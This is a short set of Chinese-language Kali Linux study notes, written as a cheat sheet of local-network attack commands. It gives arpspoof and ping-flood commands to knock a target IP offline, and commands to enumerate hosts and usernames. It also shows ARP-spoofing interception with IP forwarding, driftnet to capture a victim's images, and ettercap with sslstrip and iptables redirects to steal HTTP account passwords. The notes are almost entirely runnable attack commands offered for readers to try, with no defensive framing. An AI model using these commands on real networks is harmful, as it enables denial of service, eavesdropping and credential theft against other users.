Kali的学习笔记

# 局域网内断网
# arpspoof -i 网卡 -t 目标ip 网关
#网关：192.168.x.1
>>>arpspoof -i eth0 -t 192.168.2.176 192.168.2.1

# 也可以使用ping命令，不过效果不如上面的命令。Windows下此命令无法生效，因为限制了发送数据时间的大小
>>>ping 192.168.2.176 -i 0.01 -s 65500

网卡:eth0
目标ip:192.168.2.176
网关:192.168.2.1

# 查看局域网当中的ip(用ifconfig查看本机当前ip，形如192.168.x.x)
>>>fping -asg 192.168.1.0/24

#在windows下，利用DOS命令可以获取ip的用户名(只能查看电脑用户)
>nbtstat -a [IP]
#查看局域网内所有用户名称
>net view
#已知用户名获取ip
>ping -4 [用户名]
#已知ip获取用户名
>ping -a [IP]
#P.S：在Kali下无效

以下内容笔者实验后成功率较低，读者可自行实验

获取局域网内图片

#监听
>>>echo "1" >/proc/sys/net/ipv4/ip_forward
>>>arpspoof -i eth0 -t 192.168.2.176 192.168.2.1

#获取图片
>>>driftnet -i eth0

获取htpp账号密码

# 修改配置
>>>vim /etc/ettercap/etter.conf 
#找到Linux, vim命令 /Linux
#找到注释取消如下注释 

#if you use iptables:
   #redir_command_on = "iptables -t nat -A PREROUTING -i %iface -p tcp --dport %port -j REDIRECT --to-port %rport"
   #redir_command_off = "iptables -t nat -D PREROUTING -i %iface -p tcp --dport %port -j REDIRECT --to-port %rport"

#Sslstrip -a -f -k(前三个一样实施)

# 命令
>>>echo 1 >/proc/sys/net/ipv4/ip_forward
>>>arpspoof -i eth0 -t 192.168.2.176 192.168.2.1
>>>ettercap -Tq -i eth0